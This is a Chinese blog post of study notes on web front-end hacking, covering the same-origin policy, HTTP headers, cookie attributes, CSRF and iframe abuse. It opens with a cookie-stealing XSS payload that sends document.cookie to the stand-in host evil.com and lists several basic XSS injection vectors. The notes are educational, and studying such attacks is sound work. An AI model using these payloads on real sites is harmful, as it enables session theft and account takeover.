web前端黑客技术揭秘

获取cookie

url 输入 http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea1.php?c="+escape(document.cookie);

<srcipt>

eval(location.hash.substr(1));

</script>

从而获取cookie信息

 

站点相同判断

1同协议

2同域

3同端口

读写权限

referer 只读

cookie 可读写

资源 http消息头  DOM树 浏览器存储

在同一个域内客户端脚本可以任意读写同源内的资源 前提是这个资源本身是可读可写的

 

网站安全性 要做好权限分离

常用社工辅助技巧 Google Hack ,SNS垂直搜索,各种收集的数据库集合查询等

CSRF跨站请求伪造

1提交包含恶意SQL语句的后台链接

2管理员登陆WEB应用被诱骗打开了这条链接

3CSRF发生,此时就会以管理员权限进行后续的指令执行

WEB安全事件角色

1W3C

2浏览器厂商

3WEB厂商

4攻击者

5被攻击者

URL格式 <scheme>://<netloc>/<path>?<query>#<fragment>

URL编码 escape encodeURI encodeURICompnent

HTTP协议

 

GET http://www.foo.com/ HTTP/1.1
Accept-Encoding    gzip, deflate
Accept-Language    zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection    keep-alive
Cookie    _javaeye_cookie_id_=1426233442583090; _javaeye3_session_=BAh7BjoPc2Vzc2lvbl9pZCIlYjRjM2Y5MDVhMzAwOGYzNDMyNzhlZWJlNjAwZTU4NGE%3D--f14088eb13c70aea71e35ce257ffc26b14bc36ee; dc_tos=nm5mm0; dc_session_id=1427936184516
Host    www.iteye.com
Referer    http://rubel.iteye.com/weibo  //我从哪里来
User-Agent    Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 //我是谁
Accept-Ranges    bytes
Age    95589
Cache-Control    max-age=31104000
Content-Encoding    gzip
Content-Length    62256 //响应体长度
Content-Type    text/javascript //响应资源的类型与字符集
Date    Thu, 12 Mar 2015 05:24:14 GMT
Etag    "3656212338"
Expires    Tue, 01 Mar 2016 19:45:51 GMT
Last-Modified    Tue, 15 Jan 2013 01:48:38 GMT
Server    ASERVER/1.2.9-3 //服务器信息
Vary    Accept-Encoding
X-Powered-By-Anquanbao    HIT from nup-dg-wy-sb4  //服务器端语言信息


Set-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 2030
00:00:00 GMT; path=/; domain=.foo.com  //expire 过期时间  path相对路径 domain 域名  Httponly:标志(默认无,如果有的话,表明Cookie 存在于HTTP 层面,不能被客户端脚本读取)。

Secure:标志(默认无,如果有的话,表明Cookie 仅通过HTTPS 协议进行安全传输)

<iframe marginheight="0" marginwidth="0" frameborder="0" width="820"height="90" scrolling="no" src="http://msn.allyes.com/main/adfshow?user=MSN|Home_Page|Homepage_2nd_banner_820x90&amp;db=msn&amp;border=0&amp;local=yes"></iframe>攻击者入侵一个网站后,可以通过iframe 嵌入自己的网马页面,用户访问该网站后,被嵌入的网马页面就会执行

如果父页和子页之间是同域,那就很容易,父页可以通过调用子页的contentWindow来操作子页的DOM 树,同理,子页可以调用父页的contentWindow 来操作父页的DOM 树。如果它们不同域,则必须遵守同源策略,但子页还是可以对父页的location 值进行写操作,这样可以让父页重定向到其他网页,不过对location 的操作仅仅只有写权限,而没有读权限,这样就不能获取到父页location URL 的内容,否则有可能会造成隐私数据泄漏,比如,有的网站将身份认证token 存在于URL 中。

JavaScript 脚本除了出现在JS 格式文件里,被嵌入而执行外,还可以出现在HTML 的<script></script>标签内、HTML 的标签on 事件中,以及一些标签的href、src 等属性的伪协议(javascript:等)中。

<script>alert(1)</scipt>
<img src=# onerror="alert(1)" />
<input type="text" value="x" onmouseover="alert(1)" />
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">x</a>

获取cookie  document.cookie 可以获取到

获取URL 地址中的数据 window.location

AJAX 是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。

IE 下不使用XMLHttpRequest 对象,而是自己的XDomainRequst 对象,实例化后,使用方式与XMLHttpRequest 基本一致。如下代码能让我们的CORS 方案兼容:

 

Cookie 的重要字段如下:
[name][value][domain][path][expires][httponly][secure]

那么,domain 值默认为a.foo.com。有趣的是,a.foo.com 域设置Cookie 时,可以指定
domain 为父级域,比如:
document.cookie="test=1;domain=foo.com";

 

posted on 2015-04-02 12:13  星爷fans  阅读(235)  评论(0)    收藏  举报